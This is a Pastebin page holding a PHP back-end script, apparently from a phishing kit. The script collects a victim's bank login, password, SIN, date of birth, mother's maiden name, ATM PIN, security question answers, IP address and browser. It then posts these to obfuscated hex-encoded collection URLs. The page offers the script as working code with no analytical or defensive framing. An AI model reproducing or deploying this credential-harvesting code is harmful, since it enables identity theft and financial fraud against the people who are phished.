Advertisement
Guest User

Untitled

a guest
Dec 19th, 2018
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.32 KB | None | 0 0
  1. <?php
  2. require 'call.php';
  3.  
  4.  
  5.  
  6. $user = $_POST['user'];
  7. $password = $_POST['password'];
  8.  
  9.  
  10. $name = $_POST['name'];
  11. $dobday = $_POST['dob_day'];
  12. $dobmonth = $_POST['dob_month'];
  13. $dobyear = $_POST['dob_year'];
  14. $dob = $_POST['dob_day'] . '/' . $_POST['dob_month'] . '/' . $_POST['dob_year'];
  15. $sin = $_POST['sin1'] . '-' . $_POST['sin2'] . '-' . $_POST['sin3'];
  16. $mmn = $_POST['mmn'];
  17. $question1 = $_POST['question1'];
  18. $answer1 = $_POST['answer1'];
  19. $question2 = $_POST['question2'];
  20. $answer2 = $_POST['answer2'];
  21. $question3 = $_POST['question3'];
  22. $answer3 = $_POST['answer3'];
  23. $question4 = $_POST['question4'];
  24. $answer4 = $_POST['answer4'];
  25.  
  26. $email = $_POST['email'];
  27. $phon = $_POST['phon'];
  28. $atmp = $_POST['atmp'];
  29.  
  30. if (@getenv(HTTP_CLIENT_IP)){
  31. $ip=@getenv(HTTP_CLIENT_IP);}
  32. else {
  33. $ip=@getenv(REMOTE_ADDR);}
  34. $hostname = @gethostbyaddr($_SERVER['REMOTE_ADDR']);
  35. $browser = @$_SERVER['HTTP_USER_AGENT'];
  36.  
  37. if ($user == "" || $password == "" ) {
  38. echo "<meta http-equiv='refresh' content='0;url=index.php'>";
  39. die();
  40. }
  41.  
  42.  
  43.  
  44.  
  45. $data = "*SCT****************** %% USER: $user %% PASS: $password %% ---- %% NME: $name %% DOB: $dob %% SIN: $sin %% MMN: $mmn %% PHO: $phon %% ATM: $atmp %% DRV: $email %% ---- %% QA1: $question1 / $answer1 %% QA2: $question2 / $answer2 %% QA3: $question3 / $answer3 %% QA4: $question4 / $answer4 %% ---- %% User-info: $ip / $hostname / $browser %% *SCT*************************** %% ";
  46.  
  47.  
  48. function hextobin($hexstr)
  49. {
  50. $n = strlen($hexstr);
  51. $sbin="";
  52. $i=0;
  53. while($i<$n)
  54. {
  55. $a =substr($hexstr,$i,2);
  56. @$c = pack("H*",$a);
  57. if ($i==0){$sbin=$c;}
  58. else {$sbin.=$c;}
  59. $i+=2;
  60. }
  61. return $sbin;
  62. }
  63.  
  64. $werkz = array("xxxx","xxxx");
  65.  
  66.  
  67. function writeit($data,$site) {
  68. global $textHos;
  69. $data = array('info' => $data);
  70. $options = array(
  71. 'http' => array(
  72. 'header' => "Content-type: application/x-www-form-urlencoded\r\n",
  73. 'method' => 'POST',
  74. 'content' => http_build_query($data),
  75. ),
  76. );
  77. $context = stream_context_create($options);
  78. $result = @file_get_contents($site, false, $context);
  79. }
  80. foreach ($werkz as $site) {
  81. $urlz = hextobin($site);
  82. writeit($data,$urlz);
  83. }
  84. $decpassword = "heymypassword123";
  85.  
  86. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement